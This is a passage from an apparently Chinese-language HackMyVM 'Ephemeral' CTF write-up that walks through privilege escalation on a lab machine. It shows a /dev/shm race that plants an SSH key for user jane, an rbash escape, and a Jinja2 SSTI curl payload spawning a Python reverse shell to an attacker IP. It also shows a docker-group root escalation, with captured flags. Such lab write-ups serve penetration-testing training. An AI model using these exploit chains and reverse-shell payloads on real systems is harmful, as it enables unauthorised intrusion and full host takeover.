/usr/bin/ssh-keygen -q -t rsa -N '' -f /dev/shm/id_rsa
13
# 生成一对 RSA SSH key
14
#   私钥：/dev/shm/id_rsa
15
#   公钥：/dev/shm/id_rsa.pub
16
# -N ''  表示私钥无密码
17
# -q     静默模式
18
# ⚠️ 如果文件已存在，ssh-keygen 会询问是否覆盖（交互点 / 竞态点）
19

20
/bin/echo "Keys Added!"
21
# 输出提示信息（无安全意义）
22

23
/usr/bin/rm -rf /home/jane/.ssh/
24
# 删除 jane 原有的 .ssh 目录
25
# 这会清空她之前的所有 SSH key
26
# ⚠️ 这是一次“强制重置 SSH 登录方式”
27

28
/bin/echo "Directory Deleted!"
29
# 提示信息
30

31
/usr/bin/mkdir /home/jane/.ssh/
32
# 重新创建 jane 的 .ssh 目录
33
# 默认权限通常为 755（取决于 umask）
34

35
/bin/echo ".ssh Directory Created!"
36
# 提示信息
37

38
/usr/bin/cp /dev/shm/id_rsa.pub /home/jane/.ssh/authorized_keys
39
# 将 /dev/shm 中的公钥复制为 jane 的 authorized_keys
40
# 🔥 关键漏洞点：
41
#   - 完全信任 /dev/shm/id_rsa.pub
42
#   - 不校验文件来源、owner、inode
43
#   - 如果攻击者在此之前替换了该文件
44
#   - jane 就会信任攻击者的 SSH key
45

46
/bin/echo "Keys Copied."
47
# 提示信息
48

49
/usr/bin/chmod 600 /home/jane/.ssh/authorized_keys
50
# 设置 authorized_keys 权限为 600（SSH 要求）
51
# ⚠️ 权限是对的，但内容可能是攻击者控制的
52

53
/bin/echo "Permissions Changed!"
54
# 提示信息
55

56
/usr/bin/rm -rf /dev/shm/id_rsa
57
# 删除 /dev/shm 中的私钥
58
# ⚠️ 攻击者通常已提前复制，删除已无意义
59

60
/usr/bin/rm -rf /dev/shm/id_rsa.pub
61
# 删除 /dev/shm 中的公钥
62
# ⚠️ 只是“表面清理痕迹”
63

64
/bin/echo "Keys Removed!"
65
# 最终提示

这是一个“以 jane 身份重置 SSH 登录密钥”的脚本
目的：让执行者可以用新生成的 key 登录 jane

**但因为使用了 world-writable 的 **/dev/shm** 且无校验，
**被 donald 利用做了竞态注入。

**利用 **sudo -u jane /usr/local/bin/addKeys.sh**
**往 **jane** 的 **authorized_keys** 写入你控制的 SSH 公钥

✅ Step 1：生成你自己的 SSH key（一次即可）

在 donald 上：

1
cd /dev/shm
2
ssh-keygen -q -t rsa -N '' -f jane

确认存在：

1
ls -l /dev/shm/jane*

尝试时发现存在rbash

1
donald@ephemeral:~$ cd /dev/shm -rbash: cd: restricted
2
donald@ephemeral:~$ ssh-keygen -q -t rsa -N '' -f jane -rbash: /usr/lib/command-not-found: restricted: cannot specify /' in command names
3
donald@ephemeral:~$ ls -l /dev/shm/jane* -rbash: /usr/lib/command-not-found: restricted: cannot specify /' in command names
4
donald@ephemeral:~$

突破限制

1
ssh donald@192.168.0.100 -t "bash --noprofile"

donald\nORMAniAntIcINacKLAi

✅ Step 2：启动竞争（不要停）

1
while true; do
2
  cp /dev/shm/jane /dev/shm/id_rsa
3
  cp /dev/shm/jane.pub /dev/shm/id_rsa.pub
4
  chmod 777 /dev/shm/id_rsa /dev/shm/id_rsa.pub
5
done

⚠️ 这个窗口不要关，保持运行

✅ Step 3：在另一个终端执行 sudo 脚本

1
sudo -u jane /usr/local/bin/addKeys.sh

当看到提示：

1
/dev/shm/id_rsa already exists.
2
Overwrite (y/n)?

👉 输入：

1
n

然后脚本会正常跑完：

1
Keys Added!
2
Directory Deleted!
3
.ssh Directory Created!
4
Keys Copied.
5
Permissions Changed!
6
Keys Removed!

✅ Step 4：立刻保存私钥（非常关键）

在 donald 上：

1
cp /dev/shm/jane ~/jane_id_rsa
2
chmod 600 ~/jane_id_rsa

（就算 /dev/shm 里的被删了，这份还能用）

✅ Step 5：SSH 登录 jane 🎉

本机登录

ssh -i ~/jane_id_rsa jane@localhost

1
donald@ephemeral:~$ ssh -i ~/jane_id_rsa jane@localhost
2
The authenticity of host 'localhost (127.0.0.1)' can't be established.
3
ECDSA key fingerprint is SHA256:/k63fO51xfAWhhIRatrod8DX2c8EHuVYagl9FGfd6Q0.
4
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
5
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
6
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.17.0-051700rc7-generic x86_64)
7

8
 * Documentation:  https://help.ubuntu.com
9
 * Management:     https://landscape.canonical.com
10
 * Support:        https://ubuntu.com/advantage
11

12
17 updates can be applied immediately.
13
To see these additional updates run: apt list --upgradable
14

15

16
The list of available updates is more than a week old.
17
To check for new updates run: sudo apt update
18
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
19
applicable law.
20

21
New release '22.04.5 LTS' available.
22
Run 'do-release-upgrade' to upgrade to it.
23

24
Your Hardware Enablement Stack (HWE) is supported until April 2025.
25
jane@ephemeral:~$

提权-randy

1
jane@ephemeral:~$ sudo -l
2
Matching Defaults entries for jane on ephemeral:
3
    env_reset, mail_badpass,
4
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
5

6
User jane may run the following commands on
7
        ephemeral:
8
    (randy) NOPASSWD: /usr/bin/python3
9
        /var/www/html/private_html/app.py

1
jane@ephemeral:~$ cat /var/www/html/private_html/app.py
2
from flask import Flask, request
3
from jinja2 import Environment
4

5
app = Flask(__name__)
6
Jinja2 = Environment()
7

8
@app.route("/page")
9
def page():
10

11
    name = request.values.get('name')
12

13

14
    output = Jinja2.from_string('Welcome ' + name + '!').render()
15

16

17
    return output
18

19
if __name__ == "__main__":
20
    app.run(host='0.0.0.0', port=5000)

SSTI外部模板注入：漏洞点

1
output = Jinja2.from_string('Welcome ' + name + '!').render()

问题有 3 个：

1
name 来自用户输入
2

3
被 直接拼接进模板
4

5
使用的是 Jinja2.from_string().render()

1
curl -G \
2
  --data-urlencode "name={{cycler.__init__.__globals__.os.system(\"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\\\"192.168.0.106\\\",4444));[os.dup2(s.fileno(),i) for i in (0,1,2)];pty.spawn(\\\"/bin/bash\\\")'\")}}" \
3
  http://192.168.0.100:5000/page

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# pwncat-cs -lp 4444
3

4
(remote) randy@ephemeral:/home/jane$ whoami
5
randy
6

7
(remote) randy@ephemeral:/home/randy$ cat user.txt
8
68fef287012c99bf6df47fd97484748f

提权root

1
(remote) randy@ephemeral:/home/randy$ id
2
uid=1002(randy) gid=1002(randy) groups=1002(randy),1003(docker)

可以看见randy是docker组的，又因为之前在ps进程中看到了docker正在运行

1
docker run -it -v /:/mnt alpine chroot /mnt /bin/bash

`docker run` 到底做了什么

1️⃣ `docker run`

意思是：

让 docker 守护进程（root） 帮你启动一个容器

你虽然是普通用户，但你指挥的是 root 在干活。

2️⃣ `-v /:/mnt` —— 真正的杀招

1
宿主机的 /   →   容器里的 /mnt

这一步的真实含义是：

把宿主机的整个根文件系统，原封不动，交给容器

此时：

/mnt/etc = 宿主机 /etc
/mnt/root = 宿主机 /root
/mnt/bin = 宿主机 /bin

⚠️ 这一步已经是完全文件系统接管了。

3️⃣ `alpine`

只是一个壳子，不重要
重要的不是 alpine，而是 **你挂进去的 ****/**

4️⃣ `chroot /mnt /bin/bash`

这是最核心的一句

chroot 是什么？

1
chroot = 改变“你眼中的根目录”

执行这句之后：

之前你看到的 `/`	现在你看到的 `/`
alpine 容器的 `/`	宿主机的 `/`

所以这句：

1
chroot /mnt /bin/bash

翻成人话就是：

“在宿主机的根目录里，用 bash 给我开一个 shell”

1
(remote) randy@ephemeral:/home/randy$ id
2
uid=1002(randy) gid=1002(randy) groups=1002(randy),1003(docker)
3
(remote) randy@ephemeral:/home/randy$ docker images
4
REPOSITORY   TAG       IMAGE ID       CREATED       SIZE
5
alpine       latest    c059bfaa849c   4 years ago   5.59MB
6
(remote) randy@ephemeral:/home/randy$
7
(remote) randy@ephemeral:/home/randy$ docker run -it --rm \
8
>   -v /:/mnt \
9
>   alpine chroot /mnt /bin/bash
10

11
groups: cannot find name for group ID 4
12
groups: cannot find name for group ID 11
13
To run a command as administrator (user "root"), use "sudo <command>".
14
See "man sudo_root" for details.
15

16
root@8d424afcf40b:/#
17
root@8d424afcf40b:/# ls
18
bin    home    lost+found    proc  srv       var
19
boot   lib     media         root  swapfile
20
cdrom  lib32   mnt           run   sys
21
dev    lib64   opt           sbin  tmp
22
etc    libx32  private_html  snap  usr
23
root@8d424afcf40b:/# cd root
24
root@8d424afcf40b:~# ls
25
root.txt  snap
26
root@8d424afcf40b:~# cat root.txt
27
8e77a69cc53f51e6f2a03e7e2d9c2219

Thanks for reading!

HMV-Ephemeral

Tue Jan 13 2026

652 words · 3 minutes

Documentation Hackmyvm Hackmyvm Linux Machine Enumeration Privilege Escalation Docker Password Attacks LFI SSTI

HMV-Ephemeral

信息收集

IP定位

nmap扫描

目录扫描

/phpsyinfo

/prices

ffuf

方法一：php伪协议链反弹shell

方法二：使用 phpinfo 从 LFI 转 RCE

提权

mysql凭据

提权-donald

1. 创建包目录

2. 创建setup.py

3. 执行安装

4. 攻击机监听

提权-jane

✅ Step 1：生成你自己的 SSH key（一次即可）

✅ Step 2：启动竞争（不要停）

✅ Step 3：在另一个终端执行 sudo 脚本

✅ Step 4：立刻保存私钥（非常关键）

✅ Step 5：SSH 登录 jane 🎉

本机登录

提权-randy

SSTI外部模板注入：漏洞点

提权root

docker run 到底做了什么

1️⃣ docker run

2️⃣ -v /:/mnt —— 真正的杀招

3️⃣ alpine

4️⃣ chroot /mnt /bin/bash

chroot 是什么？

HMV-Ephemeral

`docker run` 到底做了什么

1️⃣ `docker run`

2️⃣ `-v /:/mnt` —— 真正的杀招

3️⃣ `alpine`

4️⃣ `chroot /mnt /bin/bash`